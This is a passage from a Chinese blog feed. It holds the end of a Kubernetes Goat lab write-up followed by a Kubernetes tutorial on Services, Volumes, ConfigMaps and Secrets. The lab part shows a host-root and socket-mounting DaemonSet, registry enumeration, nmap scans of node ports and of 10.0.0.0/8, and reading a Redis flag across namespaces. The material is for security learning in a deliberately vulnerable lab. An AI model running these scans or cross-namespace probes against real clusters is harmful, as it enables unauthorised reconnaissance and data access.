class="line">              <span class="attr">mountPath:</span> <span class="string">/run/containerd/containerd.sock</span></span><br><span class="line">              <span class="attr">readOnly:</span> <span class="literal">true</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">host-root</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/</span></span><br><span class="line">            <span class="attr">type:</span> <span class="string">Directory</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">var-lib-vol</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/var/lib</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">usr-lib-systemd-vol</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/usr/lib/systemd</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">etc-vol</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/etc</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">lib-systemd-system-vol</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">              <span class="attr">path:</span> <span class="string">/lib/systemd/system</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">usr-bin-contained-vol</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">              <span class="attr">path:</span> <span class="string">/usr/bin/containerd</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">usr-bin-runc-vol</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">              <span class="attr">path:</span> <span class="string">/usr/bin/runc</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">docker-sock-volume</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/var/run/docker.sock</span></span><br><span class="line">            <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">docker-sock-fallback</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/run/docker.sock</span></span><br><span class="line">            <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">containerd-sock-volume</span></span><br><span class="line">          <span class="attr">hostPath:</span></span><br><span class="line">            <span class="attr">path:</span> <span class="string">/run/containerd/containerd.sock</span></span><br><span class="line">            <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span></span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">kubectl get pods -o wide  <span class="comment">#找到刚刚开启容器</span></span><br><span class="line">kubectl <span class="built_in">exec</span> -it docker-bench-security-psvjl --sh</span><br><span class="line"><span class="built_in">cd</span> docker-bench-security </span><br><span class="line">./docker-bench-security.sh <span class="comment">#进行基准核查</span></span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031132414621.png" alt="image-20261031132414621" loading="lazy" decoding="async"></p><p>这一关和之前的渗透关卡不同，是偏向于蓝队，教导如何在每个节点中起一个<code>docker-bench-security</code>的pod来进行安全审查，但是我在部署时的环境烂了，没办法挂载在socket上，最后直接用docker跑了一次</p><h2 id="Kubernetes-CIS-benchmarks-analysis"><a href="#Kubernetes-CIS-benchmarks-analysis" class="headerlink" title="Kubernetes CIS benchmarks analysis"></a>Kubernetes CIS benchmarks analysis</h2><p>此场景主要是在Kubernetes节点上执行Kubernetes CIS基准分析，以识别可能存在的安全漏洞。 要开始使用此场景，您可以访问节点并按照kube-bench安全标准执行操作，或者运行以下命令将kube-bench作为Kubernetes作业进行部署</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">kubectl apply -f scenarios/kube-bench-security/node-job.yaml</span><br><span class="line">kubectl apply -f scenarios/kube-bench-security/master-job.yaml</span><br></pre></td></tr></tbody></table></figure><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031134001994.png" alt="image-20261031134001994" loading="lazy" decoding="async"></p><blockquote><p>这两个 YAML 文件本质上是在 K8s 里启动 <strong>Job</strong>（一次性任务）。它们使用的镜像叫 <code>kube-bench</code>，这是一个由 Aqua Security 开发的开源工具，专门用来检查 K8s 是否符合 <strong>CIS Kubernetes Benchmark</strong> 标准。</p><ul><li><strong><code>master-job.yaml</code></strong>：专门针对<strong>控制面节点</strong>（Master）。它检查的是 K8s 的大脑（API Server、etcd 数据库、调度器 Scheduler）有没有配错。</li><li><strong><code>node-job.yaml</code></strong>：专门针对<strong>工作节点</strong>（Node）。它检查的是干活的肌肉（kubelet、kube-proxy、节点上的文件权限）有没有漏洞。</li></ul></blockquote><table><thead><tr><th align="left">对比维度</th><th align="left">第五关：Docker 审计</th><th align="left">第六关：K8s 审计</th></tr></thead><tbody><tr><td align="left"><strong>体检对象</strong></td><td align="left"><strong>Docker 守护进程</strong>（Docker Daemon）</td><td align="left"><strong>Kubernetes 组件</strong>（API Server、kubelet）</td></tr><tr><td align="left"><strong>使用的工具</strong></td><td align="left"><code>docker-bench-security</code></td><td align="left"><code>kube-bench</code></td></tr><tr><td align="left"><strong>通俗比喻</strong></td><td align="left"><strong>查“盖房子的砖”</strong>：检查容器本身跑得安不安全。</td><td align="left"><strong>查“房子的承重墙”</strong>：检查管理容器的平台安不安全。</td></tr><tr><td align="left"><strong>核心检查项</strong></td><td align="left">是否允许特权容器？socket 有没有乱挂？容器之间网络有没有隔离？</td><td align="left">API Server 开没开审计日志？etcd 数据权限对不对？kubelet 配置文件是不是谁都能读？</td></tr><tr><td align="left"><strong>部署方式</strong></td><td align="left">DaemonSet（因为要检查每台机器上的 Docker）</td><td align="left">Job（一次性任务，跑完就退出）</td></tr></tbody></table><p>在真实的红蓝对抗中，如果你是攻击者（红队），拿到这两份报告简直就是“藏宝图”。</p><ul><li>看到 Master 没开审计日志，你就可以放心大胆地调用 API Server 搞破坏，因为没人会发现；</li><li>看到 Node 的文件权限配置错误，你就可以尝试提权，或者篡改 kubelet 配置。</li></ul><p>如果你是防守方（蓝队），跑完这俩脚本，按照 <code>Remediations</code>（修复建议）里的提示，去敲几个 <code>chmod</code> 和 <code>chown</code> 命令把权限收紧，集群的安全等级就能瞬间拔高一大截。</p><h2 id="Attacking-private-registry"><a href="#Attacking-private-registry" class="headerlink" title="Attacking private registry"></a>Attacking private registry</h2><p>容器仓库是所有容器镜像 推送的地方。大多数情况下，每个组织都有自己的私有仓库。此外，有时它最终会被错误配置，变成公开/开放的。另一方面，开发人员认为它只是内部私有仓库，最终将所有敏感信息存储在容器镜像中。让我们看看这里能发现什么。</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031134338730.png" alt="image-20261031134338730" loading="lazy" decoding="async"></p><p>dirsearch扫一下看到泄露了<code>/v2/_catalog</code>路径</p><blockquote><p><code>/v2/_catalog</code> 是 Docker Registry（镜像仓库）的标准 API 接口。正常情况下，它应该需要认证才能访问。但靶场里这个仓库（<code>poor-registry</code>）配置不当，允许任何人直接查看镜像列表。</p></blockquote><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/image-20261031134852229.png" alt="image-20261031134852229" loading="lazy" decoding="async"></p><p>在 Docker 和 Kubernetes 的世界里，<strong>Manifest（清单）</strong> 就像是一个集装箱（镜像）的**“出厂规格说明书”**。</p><p>当你在网上（或者私有仓库里）看到一个镜像时，你看到的只是一个名字（比如 <code>k8s-goat-users-repo</code>）。但 Docker 系统需要知道很多具体信息才能使用它：它的架构是 x86 还是 ARM？它包含了哪些层（Layers）？它启动时默认带有哪些环境变量？它默认执行的命令是什么？</p><p>这些所有信息，都记录在 <strong>Manifest</strong> 这个 JSON 格式的文件里。</p><h1 id="NodePort-exposed-services"><a href="#NodePort-exposed-services" class="headerlink" title="NodePort exposed services"></a>NodePort exposed services</h1><p>如果任何用户在Kubernetes集群中使用NodePort暴露了任何服务。这意味着，如果运行Kubernetes集群的节点没有启用任何防火墙/网络安全措施，我们可能会看到一些未经身份验证和授权的服务。 要开始此场景，请运行以下命令并查找Kubernetes节点中的开放端口 当Kubernetes创建一个NodePort服务时，它会从定义Kubernetes集群的标志中指定的范围分配一个端口。（默认情况下，这些端口范围是30000-32767。）</p><p>因为我部署在aws的ec2上，所以有它官方的防火墙，我懒得去开放，简单说一下做法及就行</p><p>先用nmap扫一下</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -T4 -p 30000-32767 &lt;your ip&gt;</span><br></pre></td></tr></tbody></table></figure><p>扫出来个30003端口开放，暴露了内网信息</p><p><img src="/Cloud-Security/CloudNative_learn5/CloudNative_learn5.assets/534f58fd94d646e1928da0906e0efd13.png" alt="img" loading="lazy" decoding="async"></p><h2 id="Kubernetes-namespaces-bypass"><a href="#Kubernetes-namespaces-bypass" class="headerlink" title="Kubernetes namespaces bypass"></a>Kubernetes namespaces bypass</h2><p>默认情况下，Kubernetes使用平面网络架构，这意味着集群内的任何Pod/服务都可以与其他Pod/服务通信。默认情况下，集群内的命名空间没有任何网络安全限制。任何命名空间中的任何对象都可以与其他命名空间通信。我们听说Kubernetes-Goat喜欢缓存。让我们看看是否可以访问其他命名空间 要开始这个场景，让我们在默认命名空间中运行我们超棒的黑客容器</p><p>看提示大概可以猜出是要我们在内网中找到其他命名空间中的redis服务，然后去读它的内容</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">kubectl run -it hacker-container --image=madhuakula/hacker-container -- sh</span><br></pre></td></tr></tbody></table></figure><p>传统扫内网先</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">zmap -p 6379 10.0.0.0/8 -o results.csv</span><br></pre></td></tr></tbody></table></figure><p>zmap用不了，换nmap试试</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">nmap -sT -p 6379 -n -T4 10.0.0.0/8 --open</span><br></pre></td></tr></tbody></table></figure><p>看到<code>10.110.249.103</code>开放了对应的服务，主动连上去看看</p><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">redis-cli -h 10.110.249.103</span><br></pre></td></tr></tbody></table></figure><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">10.110.249.103:6379&gt; KEYS *</span><br><span class="line">1) <span class="string">"SECRETSTUFF"</span></span><br><span class="line">10.110.249.103:6379&gt; GET SECRETSTUFF</span><br><span class="line"><span class="string">"k8s-goat-a5a3e446faafa9d0514b3ff396ab8a40"</span></span><br></pre></td></tr></tbody></table></figure><p>拿到了</p></body></html>]]>
    </content>
    <id>https://blog.btop251.top/Cloud-Security/CloudNative_learn5/</id>
    <link href="https://blog.btop251.top/Cloud-Security/CloudNative_learn5/"/>
    <published>2026-10-28T16:00:00.000Z</published>
    <summary>终于到安全了</summary>
    <title>云原生学习05-云安全靶场Kubernetes Goat</title>
    <updated>2026-10-30T16:00:00.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>btop251</name>
    </author>
    <category term="云安全" scheme="https://blog.btop251.top/categories/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <category term="云安全" scheme="https://blog.btop251.top/tags/%E4%BA%91%E5%AE%89%E5%85%A8/"/>
    <content>
      <![CDATA[<html><head></head><body><blockquote><p>时隔多日，终于开始学习其他资源类型了，又摆了好几天，好舒服</p></blockquote><h1 id="服务网络资源"><a href="#服务网络资源" class="headerlink" title="服务网络资源"></a>服务网络资源</h1><h2 id="Service"><a href="#Service" class="headerlink" title="Service"></a>Service</h2><p>Service 是 Kubernetes 中的一种<strong>抽象资源</strong>，用于为一组 Pod 提供<strong>稳定的访问入口</strong>。</p><h3 id="为什么需要-Service？"><a href="#为什么需要-Service？" class="headerlink" title="为什么需要 Service？"></a><strong>为什么需要 Service？</strong></h3><ul><li>Pod 是<strong>临时的</strong>（重启、扩缩容后 IP 会变）</li><li>Service 提供一个<strong>固定的 ClusterIP 和 DNS 名称</strong></li><li>通过 <strong>selector</strong> 自动发现后端 Pod，并通过 <strong>Endpoints / EndpointSlice</strong> 维护实时列表</li><li>内置<strong>负载均衡</strong>（iptables / IPVS 模式）</li></ul><h3 id="K8s-集群内的-DNS-解析规则"><a href="#K8s-集群内的-DNS-解析规则" class="headerlink" title="K8s 集群内的 DNS 解析规则"></a>K8s 集群内的 DNS 解析规则</h3><p>（以 Service <code>my-app-service</code>、命名空间 <code>default</code> 为例）：</p><table><thead><tr><th align="left">场景</th><th align="left">访问形式</th><th align="left">示例</th></tr></thead><tbody><tr><td align="left">同命名空间</td><td align="left"><code>${service-name}</code></td><td align="left"><code>my-app-service</code></td></tr><tr><td align="left">不同命名空间</td><td align="left"><code>${service-name}.${namespace}</code></td><td align="left"><code>my-app-service.default</code></td></tr><tr><td align="left">全限定域名 (FQDN)</td><td align="left"><code>${service-name}.${namespace}.svc.cluster.local</code></td><td align="left"><code>my-app-service.default.svc.cluster.local</code></td></tr></tbody></table><h3 id="spec-type"><a href="#spec-type" class="headerlink" title="spec.type"></a>spec.type</h3><table><thead><tr><th align="left">类型</th><th align="left">说明</th><th align="left">访问方式</th></tr></thead><tbody><tr><td align="left"><strong>ClusterIP</strong>（默认）</td><td align="left">仅集群内部访问</td><td align="left">ClusterIP + DNS</td></tr><tr><td align="left"><strong>NodePort</strong></td><td align="left">在每个节点开一个端口</td><td align="left"><code>&lt;NodeIP&gt;:&lt;NodePort&gt;</code>，端口范围默认 30000–32767</td></tr><tr><td align="left"><strong>LoadBalancer</strong></td><td align="left">云厂商提供外部 LB</td><td align="left">外部 IP</td></tr><tr><td align="left"><strong>ExternalName</strong></td><td align="left">映射到外部 DNS 名称（CNAME）</td><td align="left">无 selector，返回 CNAME</td></tr></tbody></table><h3 id="基础yaml"><a href="#基础yaml" class="headerlink" title="基础yaml"></a>基础yaml</h3><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">my-app-service</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span>  <span class="comment"># 可省略，默认类型</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span> <span class="comment"># 选择拥有 app=my-app 标签的 Pod</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span>     <span class="comment"># 端口名称</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">80</span>       <span class="comment"># Service 端口</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">80</span>  <span class="comment"># Pod 端口</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span>   <span class="comment"># 协议</span></span><br></pre></td></tr></tbody></table></figure><h3 id="常用排查命令"><a href="#常用排查命令" class="headerlink" title="常用排查命令"></a>常用排查命令</h3><figure class="highlight bash"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">kubectl get svc                          <span class="comment"># 查看 Service</span></span><br><span class="line">kubectl describe svc my-app-service      <span class="comment"># 查看详情（含 Endpoints）</span></span><br><span class="line">kubectl get endpoints my-app-service     <span class="comment"># 确认后端 Pod</span></span><br><span class="line">kubectl get endpointslices               <span class="comment"># 新版 Endpoints 资源</span></span><br><span class="line">kubectl get pods -l app=nginx            <span class="comment"># 确认 selector 匹配</span></span><br></pre></td></tr></tbody></table></figure><h2 id="headless-service"><a href="#headless-service" class="headerlink" title="headless service"></a>headless service</h2><p>Headless Service 是一种特殊的 Service，它不为 Pod 提供负载均衡，而是直接将请求转发到后端的 Pod。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Service</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">headless-service</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">ClusterIP</span> <span class="comment"># 可省略，默认类型</span></span><br><span class="line">  <span class="attr">clusterIP:</span> <span class="string">None</span><span class="comment">#与普通service的区别</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">app:</span> <span class="string">nginx</span> <span class="comment"># 选择拥有 app=nginx 标签的 Pod</span></span><br><span class="line">  <span class="attr">ports:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">http</span>     <span class="comment"># 端口名称</span></span><br><span class="line">    <span class="attr">port:</span> <span class="number">90</span>       <span class="comment"># Service 端口, 在headless中，port字段是不生效的</span></span><br><span class="line">    <span class="attr">targetPort:</span> <span class="number">80</span>  <span class="comment"># Pod 端口</span></span><br><span class="line">    <span class="attr">protocol:</span> <span class="string">TCP</span>   <span class="comment"># 协议</span></span><br></pre></td></tr></tbody></table></figure><h1 id="存储资源"><a href="#存储资源" class="headerlink" title="存储资源"></a>存储资源</h1><h2 id="volume"><a href="#volume" class="headerlink" title="volume"></a>volume</h2><p>Volume 是 Kubernetes 中用于解决<strong>容器内数据存储与共享</strong>的资源对象。它直接挂载到 Pod 上，生命周期通常与 Pod 绑定，核心作用是让容器内的数据在容器重启后不丢失，或者让同一个 Pod 内的多个容器能够共享文件。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">apps/v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Deployment</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">test-deploy</span></span><br><span class="line"><span class="attr">spec:</span></span><br><span class="line">  <span class="attr">selector:</span></span><br><span class="line">    <span class="attr">matchLabels:</span></span><br><span class="line">      <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">  <span class="attr">template:</span></span><br><span class="line">    <span class="attr">metadata:</span></span><br><span class="line">      <span class="attr">labels:</span></span><br><span class="line">        <span class="attr">app:</span> <span class="string">nginx</span></span><br><span class="line">    <span class="attr">spec:</span></span><br><span class="line">      <span class="attr">containers:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">test-container</span></span><br><span class="line">        <span class="attr">image:</span> <span class="string">nginx</span></span><br><span class="line">        <span class="attr">imagePullPolicy:</span> <span class="string">IfNotPresent</span></span><br><span class="line">        <span class="attr">volumeMounts:</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">cache-volume</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/cache</span></span><br><span class="line">        <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">hostpath-volume</span></span><br><span class="line">          <span class="attr">mountPath:</span> <span class="string">/hostpath</span></span><br><span class="line">      <span class="attr">volumes:</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">cache-volume</span></span><br><span class="line">        <span class="attr">emptyDir:</span> {}  <span class="comment"># 临时空目录，Pod 删除时清理</span></span><br><span class="line">      <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">hostpath-volume</span></span><br><span class="line">        <span class="attr">hostPath:</span></span><br><span class="line">          <span class="attr">path:</span> <span class="string">/</span> <span class="comment"># 节点上的目录</span></span><br><span class="line">          <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span>  <span class="comment"># 目录不存在时创建</span></span><br></pre></td></tr></tbody></table></figure><p>常用的有两种类型</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">cache-volume</span></span><br><span class="line">        <span class="attr">emptyDir:</span> {}  <span class="comment"># 临时空目录，Pod 删除时清理</span></span><br></pre></td></tr></tbody></table></figure><p>临时空目录，和pod共存亡，删除pod后里面的内容也全部都删除</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">hostpath-volume</span></span><br><span class="line">  <span class="attr">hostPath:</span></span><br><span class="line">  <span class="attr">path:</span> <span class="string">/</span> <span class="comment"># 节点上的目录</span></span><br><span class="line">  <span class="attr">type:</span> <span class="string">DirectoryOrCreate</span>  <span class="comment"># 目录不存在时创建</span></span><br></pre></td></tr></tbody></table></figure><p>与宿主机共用目录，在任何一方的修改都会一起显示</p><h2 id="configmap"><a href="#configmap" class="headerlink" title="configmap"></a>configmap</h2><blockquote><p>如果把配置（数据库连接串、日志级别、功能开关）写死在代码或镜像里，那么开发、测试、生产环境就得各打一个镜像，改一次配置就要走一遍构建发布流程，既慢又容易出错。ConfigMap 让配置变成<strong>独立的 K8s 资源</strong>，镜像保持纯净，部署时把配置“注入”进去即可。</p></blockquote><p>ConfigMap 是 Kubernetes 中用来存储<strong>非机密配置数据</strong>的 API 对象，以键值对形式保存，目的是把配置信息从容器镜像中解耦出来。它和你之前了解的 Volume 有直接配合关系：ConfigMap 可以被“投射”成 Volume 里的文件，供 Pod 读取。</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">ConfigMap</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">app-config</span></span><br><span class="line">  <span class="attr">namespace:</span> <span class="string">default</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="comment"># 键值对形式</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">zhangsan</span></span><br><span class="line">  <span class="attr">mode:</span> <span class="string">production</span></span><br><span class="line">  </span><br><span class="line">  <span class="comment"># 文件形式</span></span><br><span class="line">  <span class="attr">config.json:</span> <span class="string">|</span></span><br><span class="line"><span class="string">    {</span></span><br><span class="line"><span class="string">      "database": {</span></span><br><span class="line"><span class="string">        "host": "localhost",</span></span><br><span class="line"><span class="string">        "port": 5432</span></span><br><span class="line"><span class="string">      }</span></span><br><span class="line"><span class="string">    }</span></span><br></pre></td></tr></tbody></table></figure><h3 id="如何使用"><a href="#如何使用" class="headerlink" title="如何使用"></a>如何使用</h3><p><strong>1. 注入为环境变量（单个键）</strong></p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">env:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">LOG_LEVEL</span></span><br><span class="line">  <span class="attr">valueFrom:</span></span><br><span class="line">    <span class="attr">configMapKeyRef:</span></span><br><span class="line">      <span class="attr">name:</span> <span class="string">app-config</span></span><br><span class="line">      <span class="attr">key:</span> <span class="string">LOG_LEVEL</span></span><br></pre></td></tr></tbody></table></figure><p><strong>2. 批量注入为环境变量（所有键）</strong></p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">envFrom:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">configMapRef:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">app-config</span></span><br></pre></td></tr></tbody></table></figure><p><strong>3. 挂载为文件（Volume）</strong></p><p>如果想要实时更新不建议采用这种方法，因为挂在为文件存在时延</p><figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">volumes:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">config-vol</span></span><br><span class="line">  <span class="attr">configMap:</span></span><br><span class="line">    <span class="attr">name:</span> <span class="string">app-config</span></span><br><span class="line"><span class="attr">containers:</span></span><br><span class="line"><span class="bullet">-</span> <span class="attr">name:</span> <span class="string">app</span></span><br><span class="line">  <span class="attr">volumeMounts:</span></span><br><span class="line">  <span class="bullet">-</span> <span class="attr">name:</span> <span class="string">config-vol</span></span><br><span class="line">    <span class="attr">mountPath:</span> <span class="string">/etc/config</span></span><br></pre></td></tr></tbody></table></figure><h2 id="Secret"><a href="#Secret" class="headerlink" title="Secret"></a>Secret</h2><p>与ConfigMap在用法上几乎一模一样，区别在于存储的键值的value为密文存储（base64编码）</p> <figure class="highlight yaml"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br></pre></td><td class="code"><pre><span class="line"><span class="attr">apiVersion:</span> <span class="string">v1</span></span><br><span class="line"><span class="attr">kind:</span> <span class="string">Secret</span></span><br><span class="line"><span class="attr">metadata:</span></span><br><span class="line">  <span class="attr">name:</span> <span class="string">db-credentials</span></span><br><span class="line"><span class="attr">type:</span> <span class="string">Opaque</span></span><br><span class="line"><span class="attr">data:</span></span><br><span class="line">  <span class="attr">username:</span> <span class="string">ZGIxdXNlcg==</span>        <span class="comment"># db1user</span></span><br><span class="line">  <span class="attr">password:</span> <span class="string">cGFzc3dvcmQxMjM=</span>    <span class="comment"># password123</span></span><br><span class="line">  <span class="attr">host:</span> <span class="string">ZGIuZXhhbXBsZS5jb20=</span>    <span class="comment"># db.example.com</span></span><br><span class="line">  <span class="attr">port:</span> <span class="string">MzMwNg==</span>                <span class="comment"># 3306</span></span><br><span class="line"><span class="meta">---</span></span><br><span class="line"><span class="attr">apiVersion:</span> <span 